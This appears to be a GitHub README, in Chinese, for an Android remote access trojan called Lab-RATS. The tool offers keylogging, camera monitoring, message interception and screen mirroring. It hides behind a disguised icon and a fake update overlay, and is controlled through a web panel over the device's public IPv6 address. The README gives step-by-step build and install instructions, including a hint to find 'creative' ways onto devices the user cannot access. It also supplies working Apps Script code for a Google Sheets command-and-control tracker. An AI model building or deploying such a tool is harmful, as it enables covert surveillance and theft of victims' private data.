K4N3CO-LABS/Lab-RATS
GitHub: K4N3CO-LABS/Lab-RATS
一款面向安全研究与渗透测试的 Android 远程管理工具,通过隐蔽的 Web C2 面板提供屏幕镜像、键盘记录、摄像头监控、消息拦截等全套远程控制能力。
Stars: 9 | Forks: 5
--- > APK Builder Interface & Built Android App (C2 Server) on Target Device < ---
--- > Covert App Icon Changed & Fake Update Overlay Using Masquerade Mode < ---
--- > Remote Web Control Panel (Mobile Interface) < ---
--- > Remote Web Control Panel (PC Interface) < ---
## 🧠 直接 IPv6 访问(“后门”协议)
在安全研究期间,发现现代 Android 网络中存在一个**关键行为**:连接到**移动数据**(和现代 WiFi)的设备会被分配**公共 IPv6 地址**。
与受到 **NAT 严重限制**且需要复杂端口转发的 IPv4 不同,**IPv6 地址在公共互联网上是可直接路由的**。
### Lab-RATS 是如何利用这一点的:
1. **分布式服务器**:该应用在 Android 设备**(端口 8080)**上初始化一个**轻量级 HTTP 服务器**。
2. **零配置**:因为设备使用公共 IPv6,您可以**直接从世界任何地方**访问终端,无需设置路由器、防火墙或隧道 (*Ngrok/Pinggy*)。
3. **动态 IP 解决方案**:移动网络会频繁轮换 IP。Lab-RATS 通过使用 **Google 表格作为“命令与控制 (C2) 电话簿”**解决了这个问题。
4. **隐蔽链路**:该应用会**静默检测**其当前的 IPv6,并将活动链接发布到您的表格中。您只需打开表格并点击最新链接即可重新获得控制权。
## 🛠️ 开始使用
### 1. 前置条件
* 您的工作站上安装了 **Java 11 或 21**。
* 一台目标 **Android** 设备。
* 一个用于 IP 跟踪的 **Google 表格 Webhook URL**。
### 2. 构建 APK(在 PC 上)
1. **下载并解压**代码库 zip 文件。
2. 导航至 `cd /Lab-RATS-main/app-builder/`。
3. 执行构建程序:
* **Windows**: `build.bat`
* **Linux/Mac**: `chmod +x build.sh && ./build.sh`
4. 选择 **Option 1** 并提供您的配置:
* **应用名称**:*(默认:LAB-RATS)*
* **Google 表格 URL**:输入您的 **Apps Script URL** *(设置说明如下)*
5. 从 `/Lab-RATS-main/app-builder/output/` 目录中获取您的 `signed.apk`。
### 3. 在目标/测试设备上安装应用
1. 将 `signed.apk` 安装到**目标/测试 Android 手机或平板电脑**上 *(如果您有权限访问该设备,请在开发者选项中打开 USB 调试,插上 PC 并使用 `adb install signed.apk`,否则请发挥创意寻找安装 `.apk` 的“方法”)*。
2. 一旦在**目标/测试设备**上安装完毕,**授予**应用请求的**所有权限**,然后点击**“初始化服务器 (Initialize Server)”**按钮。
3. **活动的 Web 界面 IP 链接**应该会立即**弹出**在您的 **Google 表格**中。*(示例表格见下文)*
4. **就是这样**!只要应用服务器**在目标/测试设备上运行**,您现在就可以**从世界任何地方使用所有的远程功能**。
## 📊 Google 表格 C2 设置说明
1. 创建一个新的 **Google 表格**。
2. 转到 **扩展程序 (Extensions)** → **Apps Script**。
3. 使用以下**代码片段** **替换默认代码**:
```
// Lab-RATS C2 Tracking Script
function doPost(e) {
try {
var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
var data = JSON.parse(e.postData.contents);
sheet.appendRow([new Date(), data.device, data.network, data.ip, data.port, data.link]);
return ContentService.createTextOutput("UPLINK_SUCCESS").setMimeType(ContentService.MimeType.TEXT);
} catch (err) {
return ContentService.createTextOutput("UPLINK_ERROR").setMimeType(ContentService.MimeType.TEXT);
}
}
// Run once to initialize headers
function setupSheet() {
var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
sheet.appendRow(["Timestamp", "Device", "Network", "IP Address", "Port", "Control Link"]);
sheet.getRange("A1:F1").setFontWeight("bold").setBackground("#050505").setFontColor("#00f2ff");
}
```
4. **部署 (Deploy)** → **Web 应用 (Web App)** → **执行身份为我自己 (Execute as Me)** → **访问权限设为任何人 (Access Anyone)**。
5. 在出现提示时,将**生成的 URL** 粘贴到 **APK 构建器**中。
--- > Example Google Sheet - Running & Properly Configured < ---